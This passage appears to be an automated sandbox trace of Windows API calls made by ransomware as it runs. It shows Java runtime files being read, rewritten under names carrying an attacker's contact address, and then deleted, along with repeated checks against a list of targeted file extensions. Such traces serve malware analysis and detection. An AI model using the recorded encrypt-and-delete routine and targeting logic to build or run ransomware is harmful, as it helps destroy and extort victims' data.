dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.811] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.812] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.812] GetLastError () returned 0x0 [0182.812] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0xaec, lpOverlapped=0x0) returned 1 [0182.814] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0182.814] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.815] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xfc, lpOverlapped=0x0) returned 1 [0182.815] SetEndOfFile (hFile=0x3e0) returned 1 [0182.815] CloseHandle (hObject=0x3e0) returned 1 [0182.815] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.815] SetEndOfFile (hFile=0x408) returned 1 [0182.817] CloseHandle (hObject=0x408) returned 1 [0182.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.818] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0182.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.818] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.818] lstrlenW (lpString=".doc") returned 4 [0182.818] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0182.818] lstrlenW (lpString=".docx") returned 5 [0182.818] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0182.819] lstrlenW (lpString=".pdf") returned 4 [0182.819] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString=".xls") returned 4 [0182.819] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString=".xlsx") returned 5 [0182.819] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0182.819] lstrlenW (lpString=".ppt") returned 4 [0182.819] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.819] lstrlenW (lpString=".zip") returned 4 [0182.819] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString=".rar") returned 4 [0182.819] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString=".bz2") returned 4 [0182.819] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString=".7z") returned 3 [0182.819] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0182.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.819] lstrlenW (lpString=".dbf") returned 4 [0182.819] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.819] lstrlenW (lpString=".1cd") returned 4 [0182.819] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.819] lstrlenW (lpString=".jpg") returned 4 [0182.819] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.819] lstrlenW (lpString=".doc") returned 4 [0182.819] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0182.819] lstrlenW (lpString=".docx") returned 5 [0182.819] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0182.819] lstrlenW (lpString=".pdf") returned 4 [0182.820] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0182.820] lstrlenW (lpString=".xls") returned 4 [0182.820] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0182.820] lstrlenW (lpString=".xlsx") returned 5 [0182.820] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0182.820] lstrlenW (lpString=".ppt") returned 4 [0182.820] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0182.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.820] lstrlenW (lpString=".zip") returned 4 [0182.820] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0182.820] lstrlenW (lpString=".rar") returned 4 [0182.820] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0182.820] lstrlenW (lpString=".bz2") returned 4 [0182.820] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0182.820] lstrlenW (lpString=".7z") returned 3 [0182.820] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0182.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.820] lstrlenW (lpString=".dbf") returned 4 [0182.820] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0182.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.820] lstrlenW (lpString=".1cd") returned 4 [0182.820] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0182.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0182.820] lstrlenW (lpString=".jpg") returned 4 [0182.820] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0182.820] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0182.820] lstrlenW (lpString="psfontj2d.properties") returned 20 [0182.820] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.821] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10393) returned 1 [0182.821] CloseHandle (hObject=0x408) returned 1 [0182.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0182.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.821] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.821] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.822] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.822] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.822] GetLastError () returned 0x0 [0182.822] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2899, lpOverlapped=0x0) returned 1 [0182.882] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x28a0, lpOverlapped=0x0) returned 1 [0182.883] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.883] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xfc, lpOverlapped=0x0) returned 1 [0182.883] SetEndOfFile (hFile=0x3e0) returned 1 [0182.883] CloseHandle (hObject=0x3e0) returned 1 [0182.884] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.884] SetEndOfFile (hFile=0x408) returned 1 [0182.887] CloseHandle (hObject=0x408) returned 1 [0182.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.889] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0182.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.891] lstrlenW (lpString=".doc") returned 4 [0182.891] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString=".docx") returned 5 [0182.891] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0182.891] lstrlenW (lpString=".pdf") returned 4 [0182.891] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString=".xls") returned 4 [0182.891] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString=".xlsx") returned 5 [0182.891] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0182.891] lstrlenW (lpString=".ppt") returned 4 [0182.891] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.891] lstrlenW (lpString=".zip") returned 4 [0182.891] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString=".rar") returned 4 [0182.891] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString=".bz2") returned 4 [0182.891] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString=".7z") returned 3 [0182.891] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0182.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.891] lstrlenW (lpString=".dbf") returned 4 [0182.891] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.891] lstrlenW (lpString=".1cd") returned 4 [0182.891] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0182.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.891] lstrlenW (lpString=".jpg") returned 4 [0182.891] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.892] lstrlenW (lpString=".doc") returned 4 [0182.892] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString=".docx") returned 5 [0182.892] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0182.892] lstrlenW (lpString=".pdf") returned 4 [0182.892] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString=".xls") returned 4 [0182.892] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString=".xlsx") returned 5 [0182.892] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0182.892] lstrlenW (lpString=".ppt") returned 4 [0182.892] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.892] lstrlenW (lpString=".zip") returned 4 [0182.892] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString=".rar") returned 4 [0182.892] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString=".bz2") returned 4 [0182.892] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString=".7z") returned 3 [0182.892] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0182.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.892] lstrlenW (lpString=".dbf") returned 4 [0182.892] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.892] lstrlenW (lpString=".1cd") returned 4 [0182.892] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0182.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0182.892] lstrlenW (lpString=".jpg") returned 4 [0182.892] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0182.893] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0182.893] lstrlenW (lpString="resources.jar") returned 13 [0182.893] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.893] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3492573) returned 1 [0182.893] CloseHandle (hObject=0x408) returned 1 [0182.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0182.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0182.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.894] lstrlenW (lpString=".doc") returned 4 [0182.894] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.894] lstrlenW (lpString=".docx") returned 5 [0182.894] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0182.894] lstrlenW (lpString=".pdf") returned 4 [0182.894] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.894] lstrlenW (lpString=".xls") returned 4 [0182.894] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.894] lstrlenW (lpString=".xlsx") returned 5 [0182.894] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0182.894] lstrlenW (lpString=".ppt") returned 4 [0182.894] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.894] lstrlenW (lpString=".zip") returned 4 [0182.894] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.894] lstrlenW (lpString=".rar") returned 4 [0182.894] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.895] lstrlenW (lpString=".bz2") returned 4 [0182.895] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.895] lstrlenW (lpString=".7z") returned 3 [0182.895] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.895] lstrlenW (lpString=".dbf") returned 4 [0182.895] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.895] lstrlenW (lpString=".1cd") returned 4 [0182.895] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.895] lstrlenW (lpString=".jpg") returned 4 [0182.895] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.895] lstrlenW (lpString=".doc") returned 4 [0182.895] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.895] lstrlenW (lpString=".docx") returned 5 [0182.895] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0182.895] lstrlenW (lpString=".pdf") returned 4 [0182.895] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.895] lstrlenW (lpString=".xls") returned 4 [0182.895] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.895] lstrlenW (lpString=".xlsx") returned 5 [0182.895] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0182.895] lstrlenW (lpString=".ppt") returned 4 [0182.895] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.895] lstrlenW (lpString=".zip") returned 4 [0182.895] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.895] lstrlenW (lpString=".rar") returned 4 [0182.895] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.896] lstrlenW (lpString=".bz2") returned 4 [0182.896] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.896] lstrlenW (lpString=".7z") returned 3 [0182.896] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.896] lstrlenW (lpString=".dbf") returned 4 [0182.896] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.896] lstrlenW (lpString=".1cd") returned 4 [0182.896] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0182.896] lstrlenW (lpString=".jpg") returned 4 [0182.896] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.896] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0182.896] lstrlenW (lpString="rt.jar") returned 6 [0182.896] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0182.896] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=54560347) returned 1 [0182.897] CloseHandle (hObject=0x408) returned 1 [0182.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0182.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0182.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.897] lstrlenW (lpString=".doc") returned 4 [0182.897] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.897] lstrlenW (lpString=".docx") returned 5 [0182.897] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0182.897] lstrlenW (lpString=".pdf") returned 4 [0182.897] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.897] lstrlenW (lpString=".xls") returned 4 [0182.897] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.897] lstrlenW (lpString=".xlsx") returned 5 [0182.897] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0182.898] lstrlenW (lpString=".ppt") returned 4 [0182.898] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.898] lstrlenW (lpString=".zip") returned 4 [0182.898] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.898] lstrlenW (lpString=".rar") returned 4 [0182.898] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.898] lstrlenW (lpString=".bz2") returned 4 [0182.898] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.898] lstrlenW (lpString=".7z") returned 3 [0182.898] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.898] lstrlenW (lpString=".dbf") returned 4 [0182.898] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.898] lstrlenW (lpString=".1cd") returned 4 [0182.898] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.898] lstrlenW (lpString=".jpg") returned 4 [0182.898] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.898] lstrlenW (lpString=".doc") returned 4 [0182.898] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0182.898] lstrlenW (lpString=".docx") returned 5 [0182.898] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0182.898] lstrlenW (lpString=".pdf") returned 4 [0182.898] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0182.898] lstrlenW (lpString=".xls") returned 4 [0182.898] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0182.898] lstrlenW (lpString=".xlsx") returned 5 [0182.898] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0182.899] lstrlenW (lpString=".ppt") returned 4 [0182.899] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0182.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.899] lstrlenW (lpString=".zip") returned 4 [0182.899] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0182.899] lstrlenW (lpString=".rar") returned 4 [0182.899] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0182.899] lstrlenW (lpString=".bz2") returned 4 [0182.899] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0182.899] lstrlenW (lpString=".7z") returned 3 [0182.899] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0182.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.899] lstrlenW (lpString=".dbf") returned 4 [0182.899] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0182.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.899] lstrlenW (lpString=".1cd") returned 4 [0182.899] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0182.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0182.899] lstrlenW (lpString=".jpg") returned 4 [0182.899] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0182.899] lstrcmpiW 